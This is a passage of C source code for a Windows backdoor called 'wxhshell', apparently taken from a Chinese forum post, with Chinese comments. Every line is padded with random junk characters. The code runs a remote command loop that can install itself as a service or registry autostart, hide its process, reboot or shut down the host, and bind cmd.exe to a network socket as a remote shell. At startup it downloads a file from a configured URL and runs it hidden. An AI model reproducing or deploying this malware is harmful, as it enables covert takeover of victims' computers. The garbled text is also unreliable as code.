  } . <tq6 1  
  else { aTzjm`F0  
!cGDy/ |  
    switch(cmd[0]) { "HYQqNj?Z  
  2On_'^O  
  // 帮助 fQP{|+4  
  case '?': { q{ /3V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [p=*u,-  
    break; )Af~B'OUd  
  } S(mF%WJ  
  // 安装 {hJXj,  
  case 'i': { M?/jkc.8H  
    if(Install()) M4WiT<|]R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mE^o-9/  
    else 4tx|=;@0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -WQ^gcO=7  
    break; LOTP*Syjf  
    } <40rYr$/J  
  // 卸载 +D1d=4  
  case 'r': { 7n90f2"m  
    if(Uninstall()) fo4.JyBk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 QZ?}iz  
    else /\) a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @x/T&67k  
    break; N4*G{g  
    } cJgBI(S5  
  // 显示 wxhshell 所在路径 ,TRTRb;  
  case 'p': { $#|gLVOQ  
    char svExeFile[MAX_PATH]; <94_@3  
    strcpy(svExeFile,"\n\r"); (5Sivw*mP  
      strcat(svExeFile,ExeFile); IG3,XW  
        send(wsh,svExeFile,strlen(svExeFile),0); $x6$*K(F  
    break; ;}z\i  
    } u0`%+:]0  
  // 重启 p!/[K6u  
  case 'b': { Z#.f&K )xX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 45&8weXO:'  
    if(Boot(REBOOT)) {Q<$Uo6V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oy<WUb9W  
    else { +I>p !v  
    closesocket(wsh); 'q * Bdx  
    ExitThread(0); :pRpv hm  
    } sK=0Np=`  
    break; .ZMW>U>  
    } 2Dd|~{%  
  // 关机 <[GYLN[0Q  
  case 'd': { L>Mpi$L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C%~a`e|/Y  
    if(Boot(SHUTDOWN)) wZh:F !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bb{!Yh].:A  
    else { >*$;  
    closesocket(wsh); GjB]KA^  
    ExitThread(0); ?m c%.Bt  
    } it2 a  
    break; rfw-^`&{  
    } wC-Rr^q  
  // 获取shell !K? qgM  
  case 's': { y&_m 4Zw"  
    CmdShell(wsh); B??J@+Nf  
    closesocket(wsh); _hG;.=sr  
    ExitThread(0); r ]>\~&?^F  
    break; R4Rb73o  
  } k-*Mzm]kb  
  // 退出 yFhB>i  
  case 'x': { e5Mln!.o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d`d0 N5\  
    CloseIt(wsh); W9oAjO NE  
    break; 8^B;1`#  
    } ~ 7)A"t  
  // 离开 saD-D2oj  
  case 'q': { pb0E@C/R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]xd^%q*  
    closesocket(wsh); u =gt<1U  
    WSACleanup(); 1b9hE9a{j  
    exit(1); 6bBdIqGb}  
    break; ZX~ _g@  
        } )IT6vU"-yd  
  } k'_ P 7  
  } $ OVXk'cc  
xLZd!>C  
  // 提示信息 u-"c0@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -=698h*  
} htP|3B  
  } 1nPZ<^A&@  
FEz>[#eOX  
  return; ^nVl (^{  
} _GqS&JHSf  
7~M<cD  
// shell模块句柄 eo^/c +FG  
int CmdShell(SOCKET sock) $j)hNWI  
{ 2AVc? 9@  
STARTUPINFO si; XN,,cU  
ZeroMemory(&si,sizeof(si)); F^!mI7Z|(2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @/%{15s.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <5@PWrU?[[  
PROCESS_INFORMATION ProcessInfo; nW?R"@Zm  
char cmdline[]="cmd"; 69#8Z+dw7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <Q<+4Y{R  
  return 0; >5T_g2pkv  
} 7+w'Y<mJ  
) uP\>vRy  
// 自身启动模式 kcB+_  
int StartFromService(void) &@3m -Z  
{ z&4~x!-_  
typedef struct ( #&|Dp^'  
{ T}7uew\v0<  
  DWORD ExitStatus; j[6Raf/(n  
  DWORD PebBaseAddress; ) gR=<oa  
  DWORD AffinityMask; 1px\K8  
  DWORD BasePriority; p$;I'  
  ULONG UniqueProcessId; FbACTeB  
  ULONG InheritedFromUniqueProcessId; A<YsfDa_d  
}   PROCESS_BASIC_INFORMATION; j;K#]  
O7aLlZdg~  
PROCNTQSIP NtQueryInformationProcess; u1K\@jlw  
^Jp*B;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0"[`>K~7a8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /vE]2Io  
+pqM ^3t|y  
  HANDLE             hProcess; pJ, @Y>  
  PROCESS_BASIC_INFORMATION pbi; ED} 31L  
K X]oE+:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); > 8]j  
  if(NULL == hInst ) return 0; rn.\tDeA  
cy~oPj]j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j?n+>/sG,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P"7ow-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2Ohp]G  
@LLTB(@wR  
  if (!NtQueryInformationProcess) return 0; \)m"3yY  
GIHpSy`z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'PdmI<eXQ  
  if(!hProcess) return 0; '~-IV0v9  
+yt6(7V*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;_<)JqUh  
JhR W[~  
  CloseHandle(hProcess); rVA L|0;3  
nv5u%B^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r{+aeLu  
if(hProcess==NULL) return 0; )WR_ ug  
8 |h9sn;P  
HMODULE hMod; FuP/tTMU1a  
char procName[255]; =?0QqCjK)  
unsigned long cbNeeded; e9u@`ZC07  
dYOF2si~%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gp|1?L 54  
i+M*J#'  
  CloseHandle(hProcess); %6 =\5>  
:,*eX' fH  
if(strstr(procName,"services")) return 1; // 以服务启动 1(`M~vFDK  
hhR aJ  
  return 0; // 注册表启动 &:?e&  
} jOtX 60;  
DpL8'Dib  
// 主模块 :_d3//|  
int StartWxhshell(LPSTR lpCmdLine) w!q&  
{ I6OSC&A`  
  SOCKET wsl; <6N_at3  
BOOL val=TRUE; )wf\F6jN  
  int port=0; q"aPJ0ni'  
  struct sockaddr_in door; QV,E #(\5  
E*v]:kok  
  if(wscfg.ws_autoins) Install(); tGqCt9;<  
7$b?m6fmK  
port=atoi(lpCmdLine); m=&j@  
xDrV5bg  
if(port<=0) port=wscfg.ws_port; VfSGCe  
lQt% Qx  
  WSADATA data; F>Y9o- o2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /B HepD}  
Di??Q_$ak  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f?0s &Xo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k7bl'zic  
  door.sin_family = AF_INET; _C+DBA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `B#Z;R  
  door.sin_port = htons(port); -2NwF4VL  
j|'R$|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {},;-%xE  
closesocket(wsl); Sr y,@p)  
return 1; Q(\ wx  
} r*cjOrvI  
WL~`u  
  if(listen(wsl,2) == INVALID_SOCKET) { 0U&d q#  
closesocket(wsl); B3L4F"  
return 1; XNmQ?`.2'  
} jE U'.RBN%  
  Wxhshell(wsl); \5[-Ml  
  WSACleanup(); 8j\d~Lw=  
g{DFS[h  
return 0; 5t'Fv<g  
J@bW^>g*6u  
} QN 0rE @a  
SgSk !lj  
// 以NT服务方式启动 x1DVD!0~{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _.f@Y`4d  
{ e(\Q)re5Q  
DWORD   status = 0; zHx mA  
  DWORD   specificError = 0xfffffff; 9A;6x$s  
0^\/ERK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QAaF@Do  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;6<zjV7}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k&DGJ5m$.  
  serviceStatus.dwWin32ExitCode     = 0; !`C?nY  
  serviceStatus.dwServiceSpecificExitCode = 0; eti9nPjG  
  serviceStatus.dwCheckPoint       = 0; iB{xvyR  
  serviceStatus.dwWaitHint       = 0; mmN|F$;r  
$HRed|*.C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )q(:eoLDm  
  if (hServiceStatusHandle==0) return; (@?eLJlT  
U?6yke  
status = GetLastError(); !1-&Y'+  
  if (status!=NO_ERROR) 9A*rE.B+W  
{ DNho%Xk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9}n,@@  
    serviceStatus.dwCheckPoint       = 0; W8.j /K:  
    serviceStatus.dwWaitHint       = 0; 2 zl~>3S  
    serviceStatus.dwWin32ExitCode     = status; 1#!@["  
    serviceStatus.dwServiceSpecificExitCode = specificError;  oWrE2U;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 83?1<v0%  
    return; X<K9L7/*  
  } {h^c  
<[8@5?&&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; " ~n3iNkP  
  serviceStatus.dwCheckPoint       = 0; :C}Hy  
  serviceStatus.dwWaitHint       = 0; yam}x*O\xn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _> Ln@  
} {jG.=}/Dk  
<rMv0y+r  
// 处理NT服务事件,比如:启动、停止 ,9UCb$mh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zn[QvY  
{ .P%ym~S  
switch(fdwControl) zW)gC9_|m-  
{ E.#6;HHzN  
case SERVICE_CONTROL_STOP: Xv*}1PZH  
  serviceStatus.dwWin32ExitCode = 0; 1*#bfeoM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CSH`pU  
  serviceStatus.dwCheckPoint   = 0; B$DZ]/<  
  serviceStatus.dwWaitHint     = 0; ^hysCc  
  { 7AeP Gr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4[_L=zD  
  } cI3KB-lM#  
  return; AJ4r/b }  
case SERVICE_CONTROL_PAUSE: AI R{s7N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _y-B";Vmm  
  break; uA^hCh-js  
case SERVICE_CONTROL_CONTINUE: wEK%T P4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E4i@|jE~)  
  break; `+fk`5Y  
case SERVICE_CONTROL_INTERROGATE: p Dm K  
  break; l<n5gfJ  
}; 1 Xa+%n9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 59K}  
} vh{9'vd3el  
?to1rFrU  
// 标准应用程序主函数 Y^X:vI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9 c6'  
{ F1\`l{B,\  
&! OGIYC(  
// 获取操作系统版本 qlEFJ5;  
OsIsNt=GetOsVer(); fo;6huz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m6eFXP1U  
gs-@hR.,s0  
  // 从命令行安装 !4pr{S  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gb?g,>C  
To">DOt  
  // 下载执行文件 P!9;} &  
if(wscfg.ws_downexe) { $wgc vySx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E0T&GR@.  
  WinExec(wscfg.ws_filenam,SW_HIDE); v*vn<nPAQ>  
} p}&Md-$1  
y]<#%Fh  
if(!OsIsNt) { Wge ho  
// 如果时win9x,隐藏进程并且设置为注册表启动 hRRkFz/0&  
HideProc(); O%prD}x  
StartWxhshell(lpCmdLine); W?=$V>)  
} 7Zo&+  
else PE|PwqX  
  if(StartFromService()) zw,-.fmM#  
  // 以服务方式启动 \a?K?v|8  
  StartServiceCtrlDispatcher(DispatchTable); RP(a,D|  
else KS?mw`Nr  
  // 普通方式启动 B%2L1T=  
  StartWxhshell(lpCmdLine); <_>.!9q  
T G_bje  
return 0; CJv> /#$/F  
}
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只看该作者 1 发表于: 2006-10-10
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